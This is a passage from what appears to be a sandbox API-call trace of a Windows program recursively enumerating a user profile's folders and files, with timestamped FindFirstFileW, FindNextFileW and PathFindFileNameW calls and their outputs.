cFileName="CrjCu6i aZorUJcYh.png", cAlternateFileName="CRJCU6~1.PNG")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebbf34a0, ftCreationTime.dwHighDateTime=0x1d4caf2, ftLastAccessTime.dwLowDateTime=0xe7a68750, ftLastAccessTime.dwHighDateTime=0x1d4d372, ftLastWriteTime.dwLowDateTime=0xe7a68750, ftLastWriteTime.dwHighDateTime=0x1d4d372, nFileSizeHigh=0x0, nFileSizeLow=0x16875, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IblMdY4N1yG.bmp", cAlternateFileName="IBLMDY~1.BMP")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea050ae0, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xc9d44440, ftLastAccessTime.dwHighDateTime=0x1d4c7d5, ftLastWriteTime.dwLowDateTime=0xc9d44440, ftLastWriteTime.dwHighDateTime=0x1d4c7d5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kuLBm0R5-grtJK8w", cAlternateFileName="KULBM0~1")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b33940, ftCreationTime.dwHighDateTime=0x1d4cc62, ftLastAccessTime.dwLowDateTime=0xd6c3e5b0, ftLastAccessTime.dwHighDateTime=0x1d4cefc, ftLastWriteTime.dwLowDateTime=0xd6c3e5b0, ftLastWriteTime.dwHighDateTime=0x1d4cefc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NYC5ngf", cAlternateFileName="")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 1 [0116.541] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0 [0116.541] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.541] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.542] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.542] PathFindFileNameW (pszPath="") returned="" [0116.542] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0xffffffff [0116.542] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.542] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.542] PathFindFileNameW (pszPath="") returned="" [0116.542] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcaf22270, ftCreationTime.dwHighDateTime=0x1d4c7f8, ftLastAccessTime.dwLowDateTime=0x45241870, ftLastAccessTime.dwHighDateTime=0x1d4cf4a, ftLastWriteTime.dwLowDateTime=0x45241870, ftLastWriteTime.dwHighDateTime=0x1d4cf4a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ZTE-", cAlternateFileName="")) returned 0xffffffff [0116.542] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.542] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.542] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.542] PathFindFileNameW (pszPath="") returned="" [0116.542] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.543] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.543] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.543] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0116.543] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.543] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.543] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0116.543] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.543] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.543] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.543] PathFindFileNameW (pszPath="") returned="" [0116.544] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0116.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0116.544] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0116.544] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.544] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.544] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0116.544] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.544] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.544] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.544] PathFindFileNameW (pszPath="") returned="" [0116.544] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0116.544] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.544] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0116.544] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.544] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.545] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.545] PathFindFileNameW (pszPath="") returned="" [0116.545] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0116.545] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0116.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.545] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.545] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.545] PathFindFileNameW (pszPath="") returned="" [0116.545] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0116.545] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0116.545] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.545] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.545] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.545] PathFindFileNameW (pszPath="") returned="" [0116.545] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.545] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a994420, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a994420, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e9c260, ftCreationTime.dwHighDateTime=0x1d4d2db, ftLastAccessTime.dwLowDateTime=0xda8b0380, ftLastAccessTime.dwHighDateTime=0x1d4d033, ftLastWriteTime.dwLowDateTime=0xda8b0380, ftLastWriteTime.dwHighDateTime=0x1d4d033, nFileSizeHigh=0x0, nFileSizeLow=0x10efd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eFGyeqngF0yupS6aQiTk.mkv", cAlternateFileName="EFGYEQ~1.MKV")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99c87d60, ftCreationTime.dwHighDateTime=0x1d4c600, ftLastAccessTime.dwLowDateTime=0x1db554f0, ftLastAccessTime.dwHighDateTime=0x1d4d2df, ftLastWriteTime.dwLowDateTime=0x1db554f0, ftLastWriteTime.dwHighDateTime=0x1d4d2df, nFileSizeHigh=0x0, nFileSizeLow=0x9b14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HuEJMg3KiSp.avi", cAlternateFileName="HUEJMG~1.AVI")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ynWwf7IE7", cAlternateFileName="YNWWF7~1")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x965fa9e0, ftCreationTime.dwHighDateTime=0x1d4c642, ftLastAccessTime.dwLowDateTime=0x5f2cca30, ftLastAccessTime.dwHighDateTime=0x1d4cc5e, ftLastWriteTime.dwLowDateTime=0x5f2cca30, ftLastWriteTime.dwHighDateTime=0x1d4cc5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ynWwf7IE7", cAlternateFileName="YNWWF7~1")) returned 0 [0116.546] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.546] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.546] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.546] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0116.546] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0116.546] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.546] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.546] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.546] PathFindFileNameW (pszPath="") returned="" [0116.546] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.546] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0116.547] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0116.547] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0116.547] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0116.547] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.547] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.547] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, 